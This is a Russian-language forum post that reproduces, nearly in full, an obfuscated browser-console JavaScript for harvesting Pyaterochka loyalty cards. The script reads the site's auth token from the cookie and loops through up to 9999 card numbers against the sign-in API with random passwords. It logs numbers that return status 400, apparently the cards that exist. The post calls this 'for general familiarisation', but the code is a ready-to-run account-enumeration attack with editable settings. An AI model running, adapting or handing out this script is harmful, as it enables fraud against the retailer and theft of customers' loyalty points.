Уже ставшую мемом схему(продублировал ниже) по добыче карт Пятерочки с баллами не видел только ленивый. Сегодня я разобрал зашифрованный JS код, который был представлен в схеме и хочу поделиться им с вами, для нашего общего ознакомления:
Код:
const C_START_CODE = '778900425665', //базовая часть карты, меняете последние 4 цифры
C_STOP = 1000; //сколько карт прочекать , тут стоит 1000 карт. Максимум - 9999 карт
var V_COUNTER = 1; // всегда равна 1, не трогать
var pervaya = ["powered by TvoyaMamka", "log"]
, vtoraya = ["pad", "prototype", "0", "length", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789абвгдеёжзийклмнопрстуфхцчшщъыьэюяАБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ!,.-_=#$%^&*()", "", "random", "floor", "charAt", "/api/v1/auth/signin", "{\"login\":\"", "\",\"password\":\"", "\",\"schema\":\"by-card\"}", "POST", "open", "Accept", "application/json, text/plain, */*", "setRequestHeader", "Content-Type", "application/json;charset=UTF-8", "X-Authorization", "(?:^|; )", "\\$1", "replace", "token", "=([^;]*)", "match", "cookie", "onreadystatechange", "readyState", "responseText", "parse", "status", "\x0A", "log", "send"];
Number[vtoraya[1]][vtoraya[0]] = function (tretya) {
var tretya2 = String(this);
while (tretya2[vtoraya[3]] < (tretya || 4)) {
tretya2 = vtoraya[2] + tretya2
};
return tretya2
};
var dvenasha = function (_0x3aebx4) {
var chetverka = vtoraya[4]
, desyat = vtoraya[5];
for (var chepyrka = 0, trinasha = chetverka[vtoraya[3]]; chepyrka < _0x3aebx4; ++chepyrka) {
desyat += chetverka[vtoraya[8]](Math[vtoraya[7]](Math[vtoraya[6]]() * trinasha))
};
return desyat
};
var devyat = C_START_CODE
, shestka = vtoraya[5]
, semka = V_COUNTER
, vosyam = C_STOP;
function fuka(odinacat) {
var pyaterka = new XMLHttpRequest()
, tretya0 = vtoraya[9]
, tretya1 = vtoraya[10] + odinacat + vtoraya[11] + dvenasha(Math[vtoraya[7]](Math[vtoraya[6]]() * (10 - 5 + 1)) + 5) + vtoraya[12];
card = {};
if (semka > vosyam) {
return
};
pyaterka[vtoraya[14]](vtoraya[13], tretya0, true);
pyaterka[vtoraya[17]](vtoraya[15], vtoraya[16]);
pyaterka[vtoraya[17]](vtoraya[18], vtoraya[19]);
pyaterka[vtoraya[17]](vtoraya[20], decodeURIComponent(document[vtoraya[27]][vtoraya[26]](new RegExp(vtoraya[21] + vtoraya[24][vtoraya[23]](/([\.$?*|{}\(\)\[\]\\\/\+^])/g, vtoraya[22]) + vtoraya[25]))[1]));
pyaterka[vtoraya[28]] = function () {
if (pyaterka[vtoraya[29]] === 4) {
data = JSON[vtoraya[31]](pyaterka[vtoraya[30]]);
if (pyaterka[vtoraya[32]] === 400) {
shestka = shestka + odinacat + vtoraya[33]
};
if (++semka < vosyam) {
fuka(devyat + semka[vtoraya[0]]())
} else {
console[vtoraya[34]](shestka);
console[pervaya[1]](pervaya[0]);
}
}
};
pyaterka[vtoraya[35]](tretya1)
}
fuka(devyat + semka[vtoraya[0]]())